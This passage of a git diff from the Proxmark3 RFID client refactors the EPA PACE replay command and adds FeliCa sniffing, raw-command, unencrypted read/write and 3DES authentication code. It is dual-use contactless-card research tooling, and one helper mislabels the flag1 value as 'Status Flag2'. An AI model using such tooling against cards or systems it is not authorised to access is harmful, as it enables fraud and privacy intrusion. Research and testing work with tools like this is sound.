CmdHFEPAPACEReplay(const char *Cmd) { clearCommandBuffer(); // arg0: APDU number // arg1: offset into the APDU - SendCommandOLD(CMD_EPA_PACE_REPLAY, i + 1, j * sizeof(data), packet_length, data, packet_length); + SendCommandOLD(CMD_HF_EPA_REPLAY, i + 1, j * sizeof(data), packet_length, data, packet_length); WaitForResponse(CMD_ACK, &resp); if (resp.oldarg[0] != 0) { PrintAndLogEx(WARNING, "Transfer of APDU #%d Part %d failed!", i, j); - return 0; + return PM3_ESOFT; } } } // now perform the replay clearCommandBuffer(); - SendCommandMIX(CMD_EPA_PACE_REPLAY, 0, 0, 0, NULL, 0); + SendCommandMIX(CMD_HF_EPA_REPLAY, 0, 0, 0, NULL, 0); WaitForResponse(CMD_ACK, &resp); if (resp.oldarg[0] != 0) { - PrintAndLogEx(NORMAL, "\nPACE replay failed in step %u!", (uint32_t)resp.oldarg[0]); - PrintAndLogEx(NORMAL, "Measured times:"); - PrintAndLogEx(NORMAL, "MSE Set AT: %u us", resp.data.asDwords[0]); - PrintAndLogEx(NORMAL, "GA Get Nonce: %u us", resp.data.asDwords[1]); - PrintAndLogEx(NORMAL, "GA Map Nonce: %u us", resp.data.asDwords[2]); - PrintAndLogEx(NORMAL, "GA Perform Key Agreement: %u us", resp.data.asDwords[3]); - PrintAndLogEx(NORMAL, "GA Mutual Authenticate: %u us", resp.data.asDwords[4]); + PrintAndLogEx(SUCCESS, "\nPACE replay failed in step %u!", (uint32_t)resp.oldarg[0]); + PrintAndLogEx(SUCCESS, "Measured times:"); + PrintAndLogEx(SUCCESS, "MSE Set AT: %u us", resp.data.asDwords[0]); + PrintAndLogEx(SUCCESS, "GA Get Nonce: %u us", resp.data.asDwords[1]); + PrintAndLogEx(SUCCESS, "GA Map Nonce: %u us", resp.data.asDwords[2]); + PrintAndLogEx(SUCCESS, "GA Perform Key Agreement: %u us", resp.data.asDwords[3]); + PrintAndLogEx(SUCCESS, "GA Mutual Authenticate: %u us", resp.data.asDwords[4]); } else { - PrintAndLogEx(NORMAL, "PACE replay successfull!"); - PrintAndLogEx(NORMAL, "MSE Set AT: %u us", resp.data.asDwords[0]); - PrintAndLogEx(NORMAL, "GA Get Nonce: %u us", resp.data.asDwords[1]); - PrintAndLogEx(NORMAL, "GA Map Nonce: %u us", resp.data.asDwords[2]); - PrintAndLogEx(NORMAL, "GA Perform Key Agreement: %u us", resp.data.asDwords[3]); - PrintAndLogEx(NORMAL, "GA Mutual Authenticate: %u us", resp.data.asDwords[4]); + PrintAndLogEx(SUCCESS, "PACE replay successful!"); + PrintAndLogEx(SUCCESS, "MSE Set AT: %u us", resp.data.asDwords[0]); + PrintAndLogEx(SUCCESS, "GA Get Nonce: %u us", resp.data.asDwords[1]); + PrintAndLogEx(SUCCESS, "GA Map Nonce: %u us", resp.data.asDwords[2]); + PrintAndLogEx(SUCCESS, "GA Perform Key Agreement: %u us", resp.data.asDwords[3]); + PrintAndLogEx(SUCCESS, "GA Mutual Authenticate: %u us", resp.data.asDwords[4]); } - return 1; + return PM3_SUCCESS; } static command_t CommandTable[] = { @@ -172,7 +184,7 @@ static command_t CommandTable[] = { static int CmdHelp(const char *Cmd) { (void)Cmd; // Cmd is not used so far CmdsHelp(CommandTable); - return 0; + return PM3_SUCCESS; } int CmdHFEPA(const char *Cmd) { diff --git a/client/cmdhfepa.h b/client/cmdhfepa.h index c08fa8ea0..da21630cd 100644 --- a/client/cmdhfepa.h +++ b/client/cmdhfepa.h @@ -11,19 +11,7 @@ #ifndef CMDHFEPA_H__ #define CMDHFEPA_H__ -#include -#include -#include -#include -#include -#include "util.h" -#include "proxmark3.h" #include "common.h" -#include "ui.h" -#include "cmdparser.h" -#include "cmdmain.h" -#include "util_posix.h" - int CmdHFEPA(const char *Cmd); diff --git a/client/cmdhffelica.c b/client/cmdhffelica.c index 6f3e28737..84339a05c 100644 --- a/client/cmdhffelica.c +++ b/client/cmdhffelica.c @@ -9,8 +9,30 @@ //----------------------------------------------------------------------------- #include "cmdhffelica.h" -static int CmdHelp(const char *Cmd); +#include +#include +#include +#include +#include +#include "cmdparser.h" // command_t +#include "comms.h" +#include "cmdtrace.h" +#include "crc16.h" +#include "util.h" +#include "ui.h" +#include "mifare.h" // felica_card_select_t struct +#include "mbedtls/des.h" +#define AddCrc(data, len) compute_crc(CRC_FELICA, (data), (len), (data)+(len)+1, (data)+(len)) + +static int CmdHelp(const char *Cmd); +static felica_card_select_t last_known_card; + +static void set_last_known_card(felica_card_select_t card) { + last_known_card = card; +} + +/* static int usage_hf_felica_sim(void) { PrintAndLogEx(NORMAL, "\n Emulating ISO/18092 FeliCa tag \n"); PrintAndLogEx(NORMAL, "Usage: hf felica sim [h] t [v]"); @@ -21,18 +43,24 @@ static int usage_hf_felica_sim(void) { PrintAndLogEx(NORMAL, " v : (Optional) Verbose"); PrintAndLogEx(NORMAL, "Examples:"); PrintAndLogEx(NORMAL, " hf felica sim t 1 "); - return 0; + return PM3_SUCCESS; } +*/ + static int usage_hf_felica_sniff(void) { - PrintAndLogEx(NORMAL, "It get data from the field and saves it into command buffer."); - PrintAndLogEx(NORMAL, "Buffer accessible from command 'hf list felica'"); - PrintAndLogEx(NORMAL, "Usage: hf felica sniff "); - PrintAndLogEx(NORMAL, " s samples to skip (decimal)"); - PrintAndLogEx(NORMAL, " t triggers to skip (decimal)"); + PrintAndLogEx(NORMAL, "\nInfo: It get data from the field and saves it into command buffer. "); + PrintAndLogEx(NORMAL, " Buffer accessible from command 'hf list felica'"); + PrintAndLogEx(NORMAL, "\nUsage: hf felica sniff [-h] [-s] [-t]"); + PrintAndLogEx(NORMAL, " -h this help"); + PrintAndLogEx(NORMAL, " -s samples to skip (decimal) max 9999"); + PrintAndLogEx(NORMAL, " -t triggers to skip (decimal) max 9999"); + PrintAndLogEx(NORMAL, "Examples:"); - PrintAndLogEx(NORMAL, " hf felica sniff s 1000"); - return 0; + PrintAndLogEx(NORMAL, " hf felica sniff"); + PrintAndLogEx(NORMAL, " hf felica sniff -s 10 -t 10"); + return PM3_SUCCESS; } + static int usage_hf_felica_simlite(void) { PrintAndLogEx(NORMAL, "\n Emulating ISO/18092 FeliCa Lite tag \n"); PrintAndLogEx(NORMAL, "Usage: hf felica litesim [h] u "); @@ -41,8 +69,9 @@ static int usage_hf_felica_simlite(void) { PrintAndLogEx(NORMAL, " uid : UID in hexsymbol"); PrintAndLogEx(NORMAL, "Examples:"); PrintAndLogEx(NORMAL, " hf felica litesim 11223344556677"); - return 0; + return PM3_SUCCESS; } + static int usage_hf_felica_dumplite(void) { PrintAndLogEx(NORMAL, "\n Dump ISO/18092 FeliCa Lite tag \n"); PrintAndLogEx(NORMAL, "press button to abort run, otherwise it will loop for 200sec."); @@ -51,8 +80,9 @@ static int usage_hf_felica_dumplite(void) { PrintAndLogEx(NORMAL, " h : This help"); PrintAndLogEx(NORMAL, "Examples:"); PrintAndLogEx(NORMAL, " hf felica litedump"); - return 0; + return PM3_SUCCESS; } + static int usage_hf_felica_raw(void) { PrintAndLogEx(NORMAL, "Usage: hf felica raw [-h] [-r] [-c] [-p] [-a] <0A 0B 0C ... hex>"); PrintAndLogEx(NORMAL, " -h this help"); @@ -61,137 +91,1381 @@ static int usage_hf_felica_raw(void) { PrintAndLogEx(NORMAL, " -p leave the signal field ON after receive"); PrintAndLogEx(NORMAL, " -a active signal field ON without select"); PrintAndLogEx(NORMAL, " -s active signal field ON with select"); - return 0; + return PM3_SUCCESS; +} + +static int usage_hf_felica_request_service(void) { + PrintAndLogEx(NORMAL, "\nInfo: Use this command to verify the existence of Area and Service, and to acquire Key Version:"); + PrintAndLogEx(NORMAL, " - When the specified Area or Service exists, the card returns Key Version."); + PrintAndLogEx(NORMAL, " - When the specified Area or Service does not exist, the card returns FFFFh as Key Version."); + PrintAndLogEx(NORMAL, "For Node Code List of a command packet, Area Code or Service Code of the target " + "of acquisition of Key Version shall be enumerated in Little Endian format. " + "If Key Version of System is the target of acquisition, FFFFh shall be specified " + "in the command packet."); + PrintAndLogEx(NORMAL, "\nUsage: hf felica rqservice [-h] [-i] <01 Number of Node hex> <0A0B Node Code List hex (Little Endian)>"); + PrintAndLogEx(NORMAL, " -h this help"); + PrintAndLogEx(NORMAL, " -i <0A0B0C ... hex> set custom IDm to use"); + PrintAndLogEx(NORMAL, " -a auto node number mode - iterates through all possible nodes 1 < n < 32"); + PrintAndLogEx(NORMAL, "\nExamples: "); + PrintAndLogEx(NORMAL, " hf felica rqservice 01 FFFF"); + PrintAndLogEx(NORMAL, " hf felica rqservice -a FFFF"); + PrintAndLogEx(NORMAL, " hf felica rqservice -i 01100910c11bc407 01 FFFF \n\n"); + return PM3_SUCCESS; +} + +static int usage_hf_felica_request_response(void) { + PrintAndLogEx(NORMAL, "\nInfo: Use this command to verify the existence of a card and its Mode."); + PrintAndLogEx(NORMAL, " - Current Mode of the card is returned."); + PrintAndLogEx(NORMAL, "\nUsage: hf felica rqresponse [-h]"); + PrintAndLogEx(NORMAL, " -h this help"); + PrintAndLogEx(NORMAL, " -i <0A0B0C ... hex> set custom IDm to use"); + PrintAndLogEx(NORMAL, " hf felica rqresponse -i 01100910c11bc407"); + return PM3_SUCCESS; +} + +static void print_status_flag1_interpretation() { + PrintAndLogEx(NORMAL, "\nStatus Flag1:"); + PrintAndLogEx(NORMAL, " - 00h : Indicates the successful completion of a command."); + PrintAndLogEx(NORMAL, " - FFh : If an error occurs during the processing of a command that includes no list in the command packet, or if " + "an error occurs independently of any list, the card returns a response by setting FFh to Status Flag1."); + PrintAndLogEx(NORMAL, " - XXh : If an error occurs while processing a command that includes Service Code List or Block List " + "in the command packet, the card returns a response by setting a number in the list to Status Flag1, " + "indicating the location of the error."); +} + +static void print_status_flag2_interpration() { + PrintAndLogEx(NORMAL, "\nStatus Flag2:"); + PrintAndLogEx(NORMAL, " - 00h : Indicates the successful completion of a command."); + PrintAndLogEx(NORMAL, " - 01h : The calculated result is either less than zero when the purse data is decremented, or exceeds 4" + "Bytes when the purse data is incremented."); + PrintAndLogEx(NORMAL, " - 02h : The specified data exceeds the value of cashback data at cashback of purse."); + PrintAndLogEx(NORMAL, " - 70h : Memory error (fatal error)."); + PrintAndLogEx(NORMAL, " - 71h : The number of memory rewrites exceeds the upper limit (this is only a warning; data writing is " + "performed as normal). The maximum number of rewrites can differ, depending on the product being used."); + PrintAndLogEx(NORMAL, " In addition, Status Flag1 is either 00h or FFh depending on the product being used."); + PrintAndLogEx(NORMAL, " - A1h : Illegal Number of Service: Number of Service or Number of Node specified by the command falls outside the range of the prescribed value."); + PrintAndLogEx(NORMAL, " - A2h : Illegal command packet (specified Number of Block): Number of Block specified by the command falls outside the range of the prescribed values for the product."); + PrintAndLogEx(NORMAL, " - A3h : Illegal Block List (specified order of Service): Service Code List Order specified by Block List Element falls outside the Number of Service specified by the " + "command (or the Number of Service specified at the times of mutual authentication)."); + PrintAndLogEx(NORMAL, " - A4h : Illegal Service type: Area Attribute specified by the command or Service Attribute of Service Code is incorrect."); + PrintAndLogEx(NORMAL, " - A5h : Access is not allowed: Area or Service specified by the command cannot be accessed. " + "The parameter specified by the command does not satisfy the conditions for success."); + PrintAndLogEx(NORMAL, " - A6h : Illegal Service Code List: Target to be accessed, identified by Service Code List Order, specified by Block " + "List Element does not exist. Or, Node specified by Node Code List does not exist."); + PrintAndLogEx(NORMAL, " - A7h : Illegal Block List (Access Mode): Access Mode specified by Block List Element is incorrect."); + PrintAndLogEx(NORMAL, " - A8h : Illegal Block Number Block Number (access to the specified data is inhibited): specified by Block List Element exceeds the number of Blocks assigned to Service."); + PrintAndLogEx(NORMAL, " - A9h : Data write failure: This is the error that occurs in issuance commands."); + PrintAndLogEx(NORMAL, " - AAh : Key-change failure: Key change failed."); + PrintAndLogEx(NORMAL, " - ABh : Illegal Package Parity or illegal Package MAC: This is the error that occurs in issuance commands."); + PrintAndLogEx(NORMAL, " - ACh : Illegal parameter: This is the error that occurs in issuance commands."); + PrintAndLogEx(NORMAL, " - ADh : Service exists already: This is the error that occurs in issuance commands."); + PrintAndLogEx(NORMAL, " - AEh : Illegal System Code: This is the error that occurs in issuance commands."); + PrintAndLogEx(NORMAL, " - AFh : Too many simultaneous cyclic write operations: Number of simultaneous write Blocks specified by the command to Cyclic Service " + "exceeds the number of Blocks assigned to Service."); + PrintAndLogEx(NORMAL, " - C0h : Illegal Package Identifier: This is the error that occurs in issuance commands."); + PrintAndLogEx(NORMAL, " - C1h : Discrepancy of parameters inside and outside Package: This is the error that occurs in issuance commands."); + PrintAndLogEx(NORMAL, " - C2h : Command is disabled already: This is the error that occurs in issuance commands."); +} + +static void print_block_list_element_constraints() { + PrintAndLogEx(NORMAL, " - Each Block List Element shall satisfy the following conditions:"); + PrintAndLogEx(NORMAL, " - The value of Service Code List Order shall not exceed Number of Service."); + PrintAndLogEx(NORMAL, " - Access Mode shall be 000b."); + PrintAndLogEx(NORMAL, " - The target specified by Service Code shall not be Area or System."); + PrintAndLogEx(NORMAL, " - Service specified in Service Code List shall exist in System."); + PrintAndLogEx(NORMAL, " - Service Attribute of Service specified in Service Code List shall be authentication-not-required Service."); + PrintAndLogEx(NORMAL, " - Block Number shall be in the range of the number of Blocks assigned to the specified Service."); +} + +static void print_number_of_service_constraints() { + PrintAndLogEx(NORMAL, " - Number of Service: shall be a positive integer in the range of 1 to 16, inclusive."); +} + +static void print_number_of_block_constraints() { + PrintAndLogEx(NORMAL, " - Number of Block: shall be less than or equal to the maximum number of Blocks that can be read simultaneously. " + "The maximum number of Blocks that can be read simultaneously can differ, depending on the product being used. Use as default 01"); +} + +static void print_service_code_list_constraints() { + PrintAndLogEx(NORMAL, " - Service Code List: For Service Code List, only Service Code existing in the product shall be specified:"); + PrintAndLogEx(NORMAL, " - Even when Service Code exists in the product, Service Code not referenced from Block List shall not be specified to Service Code List."); + PrintAndLogEx(NORMAL, " - For existence or nonexistence of Service in a product, please check using the Request Service (or Request Service v2) command."); +} + +static int usage_hf_felica_read_without_encryption() { + PrintAndLogEx(NORMAL, "\nInfo: Use this command to read Block Data from authentication-not-required Service."); + PrintAndLogEx(NORMAL, " - Mode shall be Mode0."); + print_number_of_service_constraints(); + print_number_of_block_constraints(); + print_service_code_list_constraints(); + print_block_list_element_constraints(); + PrintAndLogEx(NORMAL, " - Successful read: Card responses the block data"); + PrintAndLogEx(NORMAL, " - Unsuccessful read: Card responses with Status Flag1 and Flag2"); + print_status_flag1_interpretation(); + print_status_flag2_interpration(); + PrintAndLogEx(NORMAL, "\nUsage: hf felica rdunencrypted [-h] <01 Number of Service hex> <0A0B Service Code List (Little Endian) hex> <01 Number of Block hex> <0A0B Block List Element hex>"); + PrintAndLogEx(NORMAL, " -h this help"); + PrintAndLogEx(NORMAL, " -i <0A0B0C ... hex> set custom IDm to use"); + PrintAndLogEx(NORMAL, " -b get all Block List Elements starting from 00 to FF - stops when a block return an error status flags"); + PrintAndLogEx(NORMAL, " -l use 3-byte block list element block number"); + PrintAndLogEx(NORMAL, "\nExamples: "); + PrintAndLogEx(NORMAL, " hf felica rdunencrypted 01 8B00 01 8000"); + PrintAndLogEx(NORMAL, " hf felica rdunencrypted -i 01100910c11bc407 01 8B00 01 8000"); + PrintAndLogEx(NORMAL, " hf felica rdunencrypted -b 01 4B18 01 8000\n\n"); + return PM3_SUCCESS; +} + +static int usage_hf_felica_write_without_encryption() { + PrintAndLogEx(NORMAL, "\nInfo: Use this command to write Block Data to authentication-not-required Service."); + PrintAndLogEx(NORMAL, " - Mode shall be Mode0."); + print_number_of_service_constraints(); + print_number_of_block_constraints(); + print_service_code_list_constraints(); + print_block_list_element_constraints(); + PrintAndLogEx(NORMAL, " - Un-/Successful read: Card responses with Status Flag1 and Flag2"); + print_status_flag1_interpretation(); + print_status_flag2_interpration(); + PrintAndLogEx(NORMAL, "\nUsage: hf felica wrunencrypted [-h][-i] <01 Number of Service hex> <0A0B Service Code List (Little Endian) hex> <01 Number of Block hex> <0A0B Block List Element hex> <0A0B0C0D0E0F... Data hex (16-Byte)>"); + PrintAndLogEx(NORMAL, " -h this help"); + PrintAndLogEx(NORMAL, " -i <0A0B0C ... hex> set custom IDm to use\n"); + PrintAndLogEx(NORMAL, "\nExamples: "); + PrintAndLogEx(NORMAL, " hf felica wrunencrypted 01 CB10 01 8001 0102030405060708090A0B0C0D0E0F10"); + PrintAndLogEx(NORMAL, " hf felica wrunencrypted -i 11100910C11BC407 01 CB10 01 8001 0102030405060708090A0B0C0D0E0F10\n\n"); + return PM3_SUCCESS; +} + +static int usage_hf_felica_request_system_code() { + PrintAndLogEx(NORMAL, "\nInfo: Use this command to acquire System Code registered to the card."); + PrintAndLogEx(NORMAL, " - If a card is divided into more than one System, this command acquires System Code of each System existing in the card."); + PrintAndLogEx(NORMAL, "\nUsage: hf felica rqsyscode [-h] [-i]"); + PrintAndLogEx(NORMAL, " -h this help"); + PrintAndLogEx(NORMAL, " -i <0A0B0C ... hex> set custom IDm to use"); + PrintAndLogEx(NORMAL, "\nExamples: "); + PrintAndLogEx(NORMAL, " hf felica rqsyscode "); + PrintAndLogEx(NORMAL, " hf felica rqsyscode -i 11100910C11BC407\n\n"); + return PM3_SUCCESS; +} + +static int usage_hf_felica_reset_mode() { + PrintAndLogEx(NORMAL, "\nInfo: Use this command to reset Mode to Mode 0."); + print_status_flag1_interpretation(); + print_status_flag2_interpration(); + PrintAndLogEx(NORMAL, "\nUsage: hf felica resetmode [-h][-i][-r]"); + PrintAndLogEx(NORMAL, " -h this help"); + PrintAndLogEx(NORMAL, " -i <0A0B0C ... hex> set custom IDm to use"); + PrintAndLogEx(NORMAL, " -r <0A0B hex> set custom reserve to use"); + PrintAndLogEx(NORMAL, "\nExamples: "); + PrintAndLogEx(NORMAL, " hf felica resetmode "); + PrintAndLogEx(NORMAL, " hf felica resetmode -r 0001"); + PrintAndLogEx(NORMAL, " hf felica resetmode -i 11100910C11BC407\n\n"); + return PM3_SUCCESS; +} + +static int usage_hf_felica_request_specification_version() { + PrintAndLogEx(NORMAL, "\nInfo: Use this command to acquire the version of card OS."); + PrintAndLogEx(NORMAL, " - Response:"); + PrintAndLogEx(NORMAL, " - Format Version: Fixed value 00h. Provided only if Status Flag1 = 00h."); + PrintAndLogEx(NORMAL, " - Basic Version: Each value of version is expressed in BCD notation . Provided only if Status Flag1 = 00h."); + PrintAndLogEx(NORMAL, " - Number of Option: value = 0: AES card, value = 1: AES/DES card. Provided only if Status Flag1 = 00h."); + PrintAndLogEx(NORMAL, " - Option Version List: Provided only if Status Flag1 = 00h."); + PrintAndLogEx(NORMAL, " - For AES card: not added."); + PrintAndLogEx(NORMAL, " - For AES/DES card: DES option version is added - BCD notation ."); + print_status_flag1_interpretation(); + print_status_flag2_interpration(); + PrintAndLogEx(NORMAL, "\nUsage: hf felica rqspecver [-h][-i][-r]"); + PrintAndLogEx(NORMAL, " -h this help"); + PrintAndLogEx(NORMAL, " -i <0A0B0C ... hex> set custom IDm to use"); + PrintAndLogEx(NORMAL, " -r <0A0B hex> set custom reserve to use"); + PrintAndLogEx(NORMAL, "\nExamples: "); + PrintAndLogEx(NORMAL, " hf felica rqspecver "); + PrintAndLogEx(NORMAL, " hf felica rqspecver -r 0001"); + PrintAndLogEx(NORMAL, " hf felica rqspecver -i 11100910C11BC407\n\n"); + return PM3_SUCCESS; +} + +static int usage_hf_felica_authentication1() { + PrintAndLogEx(NORMAL, "\nInfo: Initiate mutual authentication. This command must always be executed before Authentication2 command" + ", and mutual authentication is achieve only after Authentication2 command has succeeded."); + PrintAndLogEx(NORMAL, " - Auth1 Parameters:"); + PrintAndLogEx(NORMAL, " - Number of Areas n: 1-byte (1 <= n <= 8)"); + PrintAndLogEx(NORMAL, " - Area Code List: 2n byte"); + PrintAndLogEx(NORMAL, " - Number of Services m: 1-byte (1 <= n <= 8)"); + PrintAndLogEx(NORMAL, " - Service Code List: 2n byte"); + PrintAndLogEx(NORMAL, " - 3DES-Key: 128-bit master secret used for the encryption"); + PrintAndLogEx(NORMAL, " - M1c: Encrypted random number - challenge for tag authentication (8-byte)"); + PrintAndLogEx(NORMAL, " - Response:"); + PrintAndLogEx(NORMAL, " - Response Code: 11h 1-byte"); + PrintAndLogEx(NORMAL, " - Manufacture ID(IDm): 8-byte"); + PrintAndLogEx(NORMAL, " - M2c: 8-byte"); + PrintAndLogEx(NORMAL, " - M3c: 8-byte"); + PrintAndLogEx(NORMAL, " - Success: Card Mode switches to Mode1. You can check this with the request response command."); + PrintAndLogEx(NORMAL, " - Unsuccessful: Card should not respond at all."); + + PrintAndLogEx(NORMAL, "\nUsage: hf felica auth1 [-h][-i] <01 Number of Areas hex> <0A0B... Area Code List hex> <01 Number of Services hex> <0A0B... Service Code List hex> <0x0102030405060809... 3DES-key hex (16-byte)>"); + PrintAndLogEx(NORMAL, " -h this help"); + PrintAndLogEx(NORMAL, " -i <0A0B0C ... hex> set custom IDm to use"); + PrintAndLogEx(NORMAL, "\nExamples: "); + PrintAndLogEx(NORMAL, " hf felica auth1 01 0000 01 8B00 AAAAAAAAAAAAAAAABBBBBBBBBBBBBBBB "); + PrintAndLogEx(NORMAL, " hf felica auth1 01 0000 01 8B00 AAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBAAAAAAAAAAAAAAAA "); + PrintAndLogEx(NORMAL, " hf felica auth1 -i 11100910C11BC407 01 0000 01 8B00 AAAAAAAAAAAAAAAABBBBBBBBBBBBBBBB\n\n"); + return PM3_SUCCESS; +} + +static int usage_hf_felica_authentication2() { + PrintAndLogEx(NORMAL, "\nInfo: Complete mutual authentication. This command can only be executed subsquent to Authentication1" + " command."); + PrintAndLogEx(NORMAL, " - Auth2 Parameters:"); + PrintAndLogEx(NORMAL, " - Manufacturer IDm: (8-byte)"); + PrintAndLogEx(NORMAL, " - M3c: card challenge (8-byte)"); + PrintAndLogEx(NORMAL, " - 3DES Key: key used for decryption of M3c (16-byte)"); + PrintAndLogEx(NORMAL, " - Response (encrypted):"); + PrintAndLogEx(NORMAL, " - Response Code: 13h (1-byte)"); + PrintAndLogEx(NORMAL, " - IDtc: (8-byte)"); + PrintAndLogEx(NORMAL, " - IDi (encrypted): (8-byte)"); + PrintAndLogEx(NORMAL, " - PMi (encrypted): (8-byte)"); + PrintAndLogEx(NORMAL, " - Success: Card switches to mode2 and sends response frame."); + PrintAndLogEx(NORMAL, " - Unsuccessful: Card should not respond at all."); + PrintAndLogEx(NORMAL, "\nUsage: hf felica auth2 [-h][-i] <0102030405060708 M3c hex> <0x0102030405060809... 3DES-key hex (16-byte)>"); + PrintAndLogEx(NORMAL, " -h this help"); + PrintAndLogEx(NORMAL, " -i <0A0B0C ... hex> set custom IDm to use"); + PrintAndLogEx(NORMAL, "\nExamples: "); + PrintAndLogEx(NORMAL, " hf felica auth2 0102030405060708 AAAAAAAAAAAAAAAABBBBBBBBBBBBBBBB"); + PrintAndLogEx(NORMAL, " hf felica auth2 -i 11100910C11BC407 0102030405060708 AAAAAAAAAAAAAAAABBBBBBBBBBBBBBBB\n\n"); + + return PM3_SUCCESS; +} + +/** + * Wait for response from pm3 or timeout. + * Checks if receveid bytes have a valid CRC. + * @param verbose prints out the response received. + */ +static bool waitCmdFelica(uint8_t iSelect, PacketResponseNG *resp, bool verbose) { + if (WaitForResponseTimeout(CMD_ACK, resp, 2000)) { + uint16_t len = iSelect ? (resp->oldarg[1] & 0xffff) : (resp->oldarg[0] & 0xffff); + if (verbose) { + PrintAndLogEx(SUCCESS, "Client Received %i octets", len); + if (len == 0 || len == 1) { + PrintAndLogEx(ERR, "Could not receive data correctly!"); + return false; + } + PrintAndLogEx(SUCCESS, "%s", sprint_hex(resp->data.asBytes, len)); + if (!check_crc(CRC_FELICA, resp->data.asBytes + 2, len - 2)) { + PrintAndLogEx(WARNING, "Wrong or no CRC bytes"); + } + if (resp->data.asBytes[0] != 0xB2 && resp->data.asBytes[1] != 0x4D) { + PrintAndLogEx(ERR, "Received incorrect Frame Format!"); + return false; + } + } + return true; + } else { + PrintAndLogEx(WARNING, "Timeout while waiting for reply."); + } + return false; +} + +/* + * Counts and sets the number of parameters. + */ +static void strip_cmds(const char *Cmd) { + while (*Cmd == ' ' || *Cmd == '\t') { + Cmd++; + } +} + +/** + * Converts integer value to equivalent hex value. + * Examples: 1 = 1, 11 = B + * @param number number of hex bytes. + * @return number as hex value. + */ +static uint8_t int_to_hex(uint16_t *number) { + uint32_t hex; + char dataLengthChar[5]; + sprintf(dataLengthChar, "%x", *number); + sscanf(dataLengthChar, "%x", &hex); + return (uint8_t)(hex & 0xff); +} + +/** + * Adds the last known IDm (8-Byte) to the data frame. + * @param position start of where the IDm is added within the frame. + * @param data frame in where the IDM is added. + * @return true if IDm was added; + */ +static bool add_last_IDm(uint8_t position, uint8_t *data) { + if (last_known_card.IDm[0] != 0 && last_known_card.IDm[1] != 0) { + for (int i = 0; i < 8; i++) { + uint16_t number = (uint16_t)last_known_card.IDm[i]; + data[position + i] = int_to_hex(&number); + } + return true; + } else { + return false; + } } static int CmdHFFelicaList(const char *Cmd) { - (void)Cmd; // Cmd is not used so far - //PrintAndLogEx(NORMAL, "Deprecated command, use 'hf list felica' instead"); + (void)Cmd; CmdTraceList("felica"); - return 0; + return PM3_SUCCESS; } static int CmdHFFelicaReader(const char *Cmd) { - bool verbose = !(Cmd[0] == 's' || Cmd[0] == 'S'); - readFelicaUid(verbose); - return 0; + bool verbose = !(tolower(Cmd[0]) == 's'); + return readFelicaUid(verbose); } -// simulate iso18092 / FeliCa tag -static int CmdHFFelicaSim(const char *Cmd) { - bool errors = false; - uint8_t flags = 0; - uint8_t tagtype = 1; - uint8_t cmdp = 0; - uint8_t uid[10] = {0, 0, 0, 0, 0, 0, 0, 0, 0, 0}; - int uidlen = 0; - bool verbose = false; +/** + * Clears command buffer and sends the given data to pm3 with mix mode. + */ +static void clear_and_send_command(uint8_t flags, uint16_t datalen, uint8_t *data, bool verbose) { + uint16_t numbits = 0; + clearCommandBuffer(); + if (verbose) { + PrintAndLogEx(INFO, "Send raw command - Frame: %s", sprint_hex(data, datalen)); + } + SendCommandMIX(CMD_HF_FELICA_COMMAND, flags, (datalen & 0xFFFF) | (uint32_t)(numbits << 16), 0, data, datalen); +} - while (param_getchar(Cmd, cmdp) != 0x00 && !errors) { - switch (param_getchar(Cmd, cmdp)) { - case 'h': - case 'H': - return usage_hf_felica_sim(); - case 't': - case 'T': - // Retrieve the tag type - tagtype = param_get8ex(Cmd, cmdp + 1, 0, 10); - if (tagtype == 0) - errors = true; - cmdp += 2; - break; - case 'u': - case 'U': - // Retrieve the full 4,7,10 byte long uid - param_gethex_ex(Cmd, cmdp + 1, uid, &uidlen); - if (!errors) { - PrintAndLogEx(NORMAL, "Emulating ISO18092/FeliCa tag with %d byte UID (%s)", uidlen >> 1, sprint_hex(uid, uidlen >> 1)); - } - cmdp += 2; - break; - case 'v': - case 'V': - verbose = true; - cmdp++; - break; - case 'e': - case 'E': - cmdp++; - break; - default: - PrintAndLogEx(WARNING, "Unknown parameter '%c'", param_getchar(Cmd, cmdp)); - errors = true; - break; +/** + * Adds a parameter to the frame and checks if the parameter has the specific length. + * @param Cmd User input with the parameter. + * @param paramCount number of the parameter within the user input. + * @param data frame in which the data is stored. + * @param dataPosition position within frame where the data will be stored. + * @param length which the parameter should have and will be tested against. + * @return true if parameters was added. + */ +static bool add_param(const char *Cmd, uint8_t paramCount, uint8_t *data, uint8_t dataPosition, uint8_t length) { + if (param_getlength(Cmd, paramCount) == length) { + + if (param_gethex(Cmd, paramCount, data + dataPosition, length) == 1) + return false; + else + return true; + + } else { + PrintAndLogEx(ERR, "Param %s", Cmd); + PrintAndLogEx(ERR, "Incorrect Parameter length! Param %i should be %i", paramCount, length); + return false; + } +} + +/** + * Prints read-without-encryption response. + * @param rd_noCry_resp Response frame. + */ +static void print_rd_noEncrpytion_response(felica_read_without_encryption_response_t *rd_noCry_resp) { + + if (rd_noCry_resp->status_flags.status_flag1[0] == 00 && + rd_noCry_resp->status_flags.status_flag2[0] == 00) { + + char *temp = sprint_hex(rd_noCry_resp->block_data, sizeof(rd_noCry_resp->block_data)); + + char bl_data[256]; + strncpy(bl_data, temp, sizeof(bl_data) - 1); + + char bl_element_number[4]; + temp = sprint_hex(rd_noCry_resp->block_element_number, sizeof(rd_noCry_resp->block_element_number)); + strncpy(bl_element_number, temp, sizeof(bl_element_number) - 1); + + PrintAndLogEx(INFO, "\t%s\t| %s ", bl_element_number, bl_data); + } else { + PrintAndLogEx(SUCCESS, "IDm: %s", sprint_hex(rd_noCry_resp->frame_response.IDm, sizeof(rd_noCry_resp->frame_response.IDm))); + PrintAndLogEx(SUCCESS, "Status Flag1: %s", sprint_hex(rd_noCry_resp->status_flags.status_flag1, sizeof(rd_noCry_resp->status_flags.status_flag1))); + PrintAndLogEx(SUCCESS, "Status Flag2: %s", sprint_hex(rd_noCry_resp->status_flags.status_flag1, sizeof(rd_noCry_resp->status_flags.status_flag1))); + } +} + +/** + * Sends a request service frame to the pm3 and prints response. + */ +int send_request_service(uint8_t flags, uint16_t datalen, uint8_t *data, bool verbose) { + clear_and_send_command(flags, datalen, data, verbose); + PacketResponseNG resp; + if (datalen > 0) { + if (!waitCmdFelica(0, &resp, 1)) { + PrintAndLogEx(ERR, "\nGot no response from card"); + return PM3_ERFTRANS; + } + felica_request_service_response_t rqs_response; + memcpy(&rqs_response, (felica_request_service_response_t *)resp.data.asBytes, sizeof(felica_request_service_response_t)); + + if (rqs_response.frame_response.IDm[0] != 0) { + PrintAndLogEx(SUCCESS, "\nGot Service Response:"); + PrintAndLogEx(SUCCESS, "IDm: %s", sprint_hex(rqs_response.frame_response.IDm, 